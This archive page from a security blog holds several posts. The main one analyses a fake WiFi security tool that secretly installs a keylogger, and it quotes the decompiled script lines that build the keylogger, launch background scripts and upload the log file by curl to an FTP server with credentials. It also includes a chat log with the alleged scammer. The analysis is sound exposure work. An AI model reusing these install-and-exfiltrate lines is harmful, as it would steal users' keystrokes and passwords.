Tag Archives: technical

Pentesters and businessman are doing it wrong

Following my last post on the realistic cost of a pen-test (which as I mentioned was derived from long conversations on the topic with a couple of friends from the industry), I’d like to review one of the best presentations I have seen lately – Chris Nickerson’s Brucon talk.

I’ve had the opportunity to see this talk shape up to be what it ended up like in the week or so that we have been hanging out together. And let me tell you – it was one hell of a week. There were some reactions to the talk (no wonder – Chris was on stage) and I’d like to put things in perspective (at least mine, if you want more go talk to Chris…).

The first point which is directly derived from the talk is that we, as an industry, have been doing the wrong thing for a long time. Pentesting has become a glorified minion work, and we just kept it behind for such a long time. What the talk tries to say is open your mind, and DO YOUR HOMEWORK. Chris calls it “do work”, but I’m saying that before we do work we need to do homework. Learn. Inspect. Absorb. See beyond the technical aspects of a pentest. Understand what is the environment in which the business operates, who are the key players, partners and customers. How does the business make money? What would hurt the business the most? Only then, we can approach the pentest with a clear goal in mind (and no – it’s not getting root/shell on a box).

The second point that I’d like this talk to provoke is that we are not the only ones at fault. It’s also the customers (yeah – I said that the customer is wrong. Sue me). They have been trained to ask for technicalities. Be it a pentest, a product or even a service. Most of the times they can’t really explain the methodology behind what they are asking for and the business relevance of it. Instead of asking for a pentest for a new web application, they should be asking for a security assessment of what makes their business “tick” which may be related to the web application. Small difference in wording, HUGE difference in scope and ROI from such an engagement. And yes, this all comes back to us as we have been offering “off the shelf” pentests that have no actual relevance to the business side, and have “technofied” our services and products to fit checkboxes of some obscure regulatory compliance. We need to retrain our customers (i.e. the industry) and get ourselves trained on the business aspects as well.

This topic is just one of many more that were conceived during the security-on-steroids-week which was Source Barcelona and Brucon. I’d rather post these side-effect ideas that were generated from discussions around the talks than the actual talk contents (you should be able to download these anyway in the near future from the conference websites anyway).

Tying up loose ends before Vegas (scammer closure)

Instead of updating the post in question (again), I figured I’ll post all the new info here and call this a wrap.

So, we all know about the security scammer now, and the different ways he is working to defraud innocent users and steal their data and money. It has been quite an experience tracking this scam down and getting all the facts right (from the technical aspect of inspecting the keylogger and binaries used to sniff your data, to actually communicating with the scammer and getting his take on things).

Nevertheless, I must say that I appreciate the consistency in which our scammer (I’ll call him Fadzil Mahfodh as that’s his real name) has been trying to mask his wrongdoings. From trying to go around the facts and divert us to other software:

To “bragging” about his skills and the fact that his scripts are “leet” enough to get past some people:

And finally to the obvious – throwing a fit and trolling – initially by threatning to post my picture and CV on adult websites (what would my CV be good for on an adult site anyway??? must be a Malaysian thing 🙂 ):

All of which has been accompanied by adding my picture to his website (wow! I’m famous now!):

Getting it removed by the Google Blogger DMCA team, opening up a new blog site to accompany the specific “hack wpa without a dic” post along with my picture, and making some cosmetic changes to the site, removing the FBI log (which has been replaced with a larger DHS logo), and adding a disclaimer at his website stating that this is all a mistake, that I have been trying to pressure him into criminal actions, and that he has all our communications logged and will be happy to use it to prosecute. Too bad this has been removed from his site before I had a chance to document it – but trust me it was there! Pure epicness!

Now, I know – it’s not really fair to pick on these guys that hard. That’s why I’m leaving this to the Malaysia CERT (as you may have noticed, 1337 Fadzil forgot to proxy his connections to this blog and his IP has been logged on all comments and relevant hits on the site), to figure out how to handle. I truly hope that his suggestion to use the details provided on his paypal account and bank account will actually yield some results, and wish our friend the best of luck in his endeavors in the security business (although I highly doubt he’ll be at DefCon later this week).

Below are attached some of the additional supporting materials for the sake of fully disclosing all the communications with Fadzil.

Apache-access-log_FILTERED, Fadzil-chat, karma-decoded.sh, bg2-decoded.sh

8/18/2010 – Last update (I really hope)

All right, so it seems that the good guys actually win sometimes, so I had to post this quick update just to fill everyone in on what has been going on:

  1. The original site (yeah – the bad design, background music, scam outright) has been brought down. Not sure if it was the Google DMCA team that kept bugging Fadzil on removing my pics, or the Malaysia CERT that came down on him for the malicious and scamming techniques.
  2. The replacement site (chikiabu.blogspot.com) which has been originally set up just to host the infringing materials after Google rained down on Fadzil, is now actually the main site, and SURPRISE – it does not have the scamming software anymore!!! 2 points for the good guys.
  3. The new site still has some “security” software. I have been getting some questions from readers who saw it and didn’t know whether to use it or not. So I had a few minutes to spare today, and have analyzed the “software” provided on it (namely – the famous fi.sh script which is the pinnacle of our subject’s programming skills). Long story short – still scripting with no real software in it. The fi.sh code is (again) a compiles shell script, and… here it is: fi.sh (the decompiled version of course). Funny thing is – obviously there’s no real coding here, just a bunch of “infconfig”, “iwconfig”, “airodump-ng” and “aircrack-ng”. One thing to note though, is that Fadzil makes it look as if each version of the script is designed for a specific wireless adapter – this of course can be achiever by correctly configuring your wireless adapter when running BT. Additionally, the posts on his website still entice users to send him their capture files (although at some point he makes the spelling error of saving a capture file as “.cab” – freudian?), and I’m guessing that he’s going to be asking for some “donation” to keep his site running. Don’t be tempted again kids…

That’s all there is to it I guess. Again – good guys win, site cleaned (and hopefully bad guy learned his lesson). Keep your eyes open out there, and until next time (September in Barcelona and Brussles) bye!

How [not to] scam security people

I have been playing around with some wireless security for one of my customers lately. Having a pretty solid understanding of how things work, but also having been challenged to try out “everything there is to try” by the client, I went off to look for new tools that I might not have tried before.

It did not take too long, and with the accidental help of TechCrunch (btw TechCrunch – you may want to change this link to something else after you read this…) I ran into this “Wifi Security” site.

Yes, I know, the design is horrible, the scrolling thing on the top of the page is just missing a <blink> tag to drive you into an epileptic seizure, and the music, well, it’s music as part of a website – welcome to the 80’s.

Not being deterred by the horrible design, I went ahead and downloaded the “tools” offered in the article. After all, the FBI are using this guy’s tools…
A quick look, and I was faced with three supposed shell scripts (ended with a .sh), and a tarball called “rogue.tar.gz”.
When you get a shellscript that isn’t a shellscript, and is being reported as an “ELF” executable, you should get your detective hat on, which is exactly what I did.
It didn’t take long, and the scam unfolded pretty quickly. Here’s a quick recap of what’s going on with this guy’s website:

  1. The provided “tools” aren’t even security tools. Initially I figured – ok, so this guy packed a few open source wireless tools and scripted them for easy usage. No. Not even karma which the main script suggests that is being used (appropriately I might add for the purpose of what this script is SUPPOSED to do).
  2. A quick look at the tarball revealed that is actually contains a keylogger that has been graciously stolen from here.
  3. When the main script (karma.sh) is run, two supporting scripts (bg1.sh and bg2.sh) are launched. They are taking care of compiling the keylogger, running it, and pushing the logged keys logfile to an FTP for the attacker (I guess we can call him that now) to use at his convenience.
  4. You are prompted to log into your webmail account, send a request for a free activation code with an indemnity text, which would be answered by the “automatic” processes on their end promptly so you can enter the code into the installer and start playing around with WiFi security. FTW!

Observant readers may notice that I referred to the tool as having “supposed” script files, that are actually binaries, and now I refer back to them as scripts. What gives?
Well, simply put, our attacker didn’t really take the time to code an application, he just wrote a couple of shell scripts, and in order to try to hide his malicious and ill-intent actions he “compiled” them with a utility that packs shellscripts in executable form called shc. The road from a linux executable to realizing what the script originally was is pretty short…

Now, that most of the cards are on the table, we can actually take a look at what scam this guy is running, and how he runs this. Following are some snippets from the shellscript that was presumably a wireless security tool. Even if you are not an avid Linux shellscripter, I’m sure that the annotations (true to the original) will shed some light…

cd lkl2
./configure –silent
make –silent
make install –silent
chmod +x /root/bg1.sh
nohup /root/bg1.sh &
rm -r /root/nohup.out
chmod +x /root/bg2.sh
nohup /root/bg2.sh &
sleep 2
rm -r /root/nohup.out

So, we see how the keylogger is compiled, installed and the supporting scripts bg1 and bg2 are run.
Next up, is the installer itself (if one can call that) which prompts for the user to send a FREE activation request to the attacker:

echo “”
echo “——————————————————— “
echo “——————————————————— “
echo “”
echo “1. Compose indemnity text below and send to fadzilmahfo[email protected]
echo “ Yes, I want activation code and will never use for illegal purpose”
echo “”
echo “2. Check your email for activation code after sending text “
echo “”
read -p “3. Send now ? (0=no, 1=yes) “ act

Obviously, the message WILL appear, as this thing is NEVER going to be activated – remember – this is a shellscript, and the “menu” appears as-is unconditionally so you can try to activate this until blue in the face… but we are getting ahead of ourselves.

I mentioned in the title that the scam is targeting security people. Besides the obvious wireless security related topic, here’s another little piece of “evidence” from the script:

read -p “Which backtrack are you using ? (bt3=3,bt4=4) ” bt

Our little friend is assuming that we are using BackTrack (as most security folks do) to run their wireless tests… the script continues according to which version of BT is entered (to accommodate the differences in network configuration…).
I’ll skip through the network connectivity checks (trust me), and next up the attacker makes sure that firefox isn’t running, and:

firefox https://login.yahoo.com/ &
sleep 4
firefox https://www.google.com/accounts/ManageAccount &
sleep 4
firefox http://home.live.com/

The attacker obviously wants us to log into one of our webmail accounts so we can send him that activation request email with the indemnity text (how considerate). Keeping in mind that the keylogger is on and it’s activities are uploaded in the background to the attacker’s FTP – this is exactly where most people will fall into the trap.

And for the grand finale – the actual activation (you’d think huh?):

echo “”
sleep 3
echo “You have entered an invalid code ”
echo “”

You have to admit that commented code is the best! It’s actually saying “decoy”! How f*&^ing awesome is that? You get to craft your email after logging into your Yahoo!/Gmail/Live account, and then go back to this completely useless activation part. I do like the fact that the author put a “sleep 3” before letting you know that you entered the wrong code. As if it was hard at work verifying it. Classic.

That’s about it for the technical analysis, but it wouldn’t be complete without the actual interaction with the attacker, wouldn’t it? Let’s see – so, we crafted a “request for free activation” email with the indemnity text in it, and guess what – we got a reply!


1. We are preparing the activation code for you.

2. To make worth our while, could you consider a small donation (suggest euro 11) to support the website via Paypal a/c [email protected] ?



So not only there is no activation code to be “prepared” for me (what? I’m going to feed it to the “decoy” and it’ll magically work?), we are being prompted to donate some cash for the poor bastard who worked so hard to make this tool for the community…
I cordially answered that:

1. Thanks. I’ll be looking forward for the activation code.

2. I’ll probably consider it after being able to test out the tool.

Which was replied with a suggestion to try the trial version on his site (which relates to a completely different tool, but let’s not be too picky about it…).
Now, thankfully, I was using one of my throw-away yahoo accounts, and apparently so our attacker. If you haven’t noticed, one of the cool things in the new Yahoo! webmail is that you get an indication whether the person emailing you is online or not, and you can chat with them!
Guess what happens next…

—– Our chat on Wed, 7/7/10 2:53 PM —–
Iftach(2:34 PM):  hey man
Iftach(2:34 PM):  mind if a ask a couple of questions?
fadzilmahfodh(2:34 PM):  okey
Iftach(2:35 PM):  cool. I’m doing this research on security tools and their
fadzilmahfodh(2:35 PM):  okey
Iftach(2:35 PM):  saw your tool and wanted to hear about how you got to write
it, how well is it distributed in the community etc…
Iftach(2:36 PM):  does that activation thing a common practice with free tools?
fadzilmahfodh(2:36 PM):  yes see, we need to maintain our website thus we need
fadzilmahfodh(2:37 PM):  everyday there are at least 500++ people asking for
Iftach(2:37 PM):  I see.
fadzilmahfodh(2:37 PM):  i no longer able to provide for free
fadzilmahfodh(2:37 PM):  too time consuming and i need to be compensated for my
time and effort
fadzilmahfodh(2:38 PM):  hope you understand

Time and effort? Right… For a scam script that doesn’t even have any networking functionality… Ok, I’ll go along…

Iftach(2:40 PM):  now, about the tool – that’s a linux binary obviously (thought
it was a shell script at the beginning). Did you base it on something existing
or write yourself?
fadzilmahfodh(2:41 PM):  i wrote it by my self then scramble the code
Iftach(2:41 PM):  hence the activation i see…
fadzilmahfodh(2:42 PM):  i can afford to give ‘free lunch’ to everybody. Hope
you understand
Iftach(2:43 PM):  sure, i understand.
fadzilmahfodh(2:43 PM):  So you interested in the software?
Iftach(2:44 PM):  more from a research point of view – for an article I’m
Iftach(2:44 PM):  so, the installer you use, I see that it contains some
additional code that is being compiled on the client.
fadzilmahfodh(2:45 PM):  Yes. The purpose is the code will be unique to user
Iftach(2:45 PM):  and I saw that there were some FTP connections made? Is that
to verify that the client is a registered one?
fadzilmahfodh(2:46 PM):  Well, that is another story…
Iftach(2:46 PM):  I’m listening
fadzilmahfodh(2:46 PM):  maybe some other time huh
Iftach(2:47 PM):  OK. Last question – do you get a lot of account passwords
through that keylogger that sends the data to your FTP?
fadzilmahfodh(2:47 PM):  sorry, no comment unless i am in court

At this point of my “interview” with him, I guess that my cover was going to get pretty real, hence this “article” that you are reading… You can’t make this stuff up so I figured I’ll blog it…

Iftach(2:48 PM):  aha, and it’s part of the installer because? just to make sure
people can send the activation email correctly?
Iftach(2:48 PM):  Back to statistics, out of the average 500 ppl asking for
activation – how many passwords do you manage to grab?
fadzilmahfodh(2:49 PM):  well, the ftp is to confirm that software match with
data in server
fadzilmahfodh(2:49 PM):  if it does not match, it will fail to run
fadzilmahfodh(2:49 PM):  or i can just change the data/activation code in the
fadzilmahfodh(2:49 PM):  then everything will not run
Iftach(2:49 PM):  and how does that relate to the keylogging?
fadzilmahfodh(2:50 PM):  well, that i another story…
Iftach(2:51 PM):  I mean – the keylogger data is sent to that FTP. Is that part
of the verification or is this a separate process?
Iftach(2:51 PM):  So, on average, how many accounts you manage to get on that
FTP server per day?
fadzilmahfodh(2:51 PM):  well, you do not even support my website and how the
hell am i going to tell you
Iftach(2:52 PM):  Let’s just get it straight – I’m not going to “support” the
site… I’m just doing some research on security tools.
fadzilmahfodh(2:52 PM):  bye
Iftach(2:53 PM):  You are free to tell, or not if you don’t want to. But I’m
publishing the story as it is…
Iftach(2:53 PM):  With your acknowledgment that you use a keylogger to steal your
site visitor passwords. Unless you want to be quoted otherwise in the story…

True to my chat with Fadzil (or whatever his name is), I’m telling it the way it is.

But wait, there’s more!!! more? how come? well, just to put some icing on this, I went back and decoded the script that was in charge of the FTP upload…

curl -s -k –ftp-ssl -T /pentest/log.txt -u fadzilmahfodh:buaya ftp://ftp.drivehq.com/code$number.txt

Just to see the final lameness come to life as I tested the account:


And you know what – it’s all our fault! If we as a community would have “donated” to this guy for all his hard work and effort that he’s been putting in creating tools that are used by the FBI (check out his site…), he would have had the money to keep his driveHQ account in order and could make a decent living out of ripping people off.


p.s. you can find me talking about this entertaining even on the ISDPodcast with my buddy Rick, I just had to vent off before putting this in writing, so hopefully this account is a bit more thorough and to your liking…

Update 7/13/2010: I could not have wished for better response from the community on this post, but having the actual culprit respond here is priceless. As you can probably see, Fadzil has posted a comment, and to sum things up let me just state that I’m not that surprised by its content (I think it’s called “pulling a ligatt” these days…). On one hand he offhandedly dismisses that there was ever such an issue with a keylogger, on the other hand he promises a better version with (and I’m quoting): “rogue ap + fake login page + keylogger + ftp = to get WPA or WPA2 password”.

You don’t say?! I’m still waiting for the security practitioner that will explain to me why would anyone need a keylogger + ftp to use a rogue AP with fake login pages. I’m really hoping that this post helps the community learn more on criminals such as the one we are dealing with here. Don’t be tempted to “smooth-talk” that tries to look technical and hackerish while having nothing behind it. And if you have had any additional experiences with this guy feel free to add them to the comments or email me so I’ll update this story for everyone’s benefit.

DefCon 17 talk video available!

For your viewing pleasure – if you happened to miss out on DefCon 17 earlier this year, the full video and slides of my talk “Down the Rabbit Hole – uncovering a criminal server” have been uploaded to the DefCon archive page.

The slides and audio are also available in my section on the DefCon17 archives: http://defcon.org/html/links/dc-archives/dc-17-archive.html#Amit

Have fun!

Blocking legitimate sites in real-time

I Ran into this on Slashdot: http://tech.slashdot.org/tech/08/09/21/1827209.shtml. It seems like the Google filter for malicious sites was blocking a whole domain name – including all sub-domains, which happened to be a dynamic DNS provider. A Big false positive, and a big problem to all the legitimate sites that were hosted using this domain. Disclosure – I used to run my personal domain using the services provided by DynDNS as well.

The root of the problem here lies in the concept that someone (even if it’s Google) presumes that providing a list of “bad” sites can be used to provide security to users. It’s just not going to work no matter how fast the list is updated, and no matter how “real-time” the scanning and categorizing of the sites are. Unless the real-time is applied to where it is supposed to be applied – when a user requests content from a site, scanning in real-time the content that this user receives. No more, no less. Remember that content differs from user to user, and malicious code may be delivered to one but not to another user!.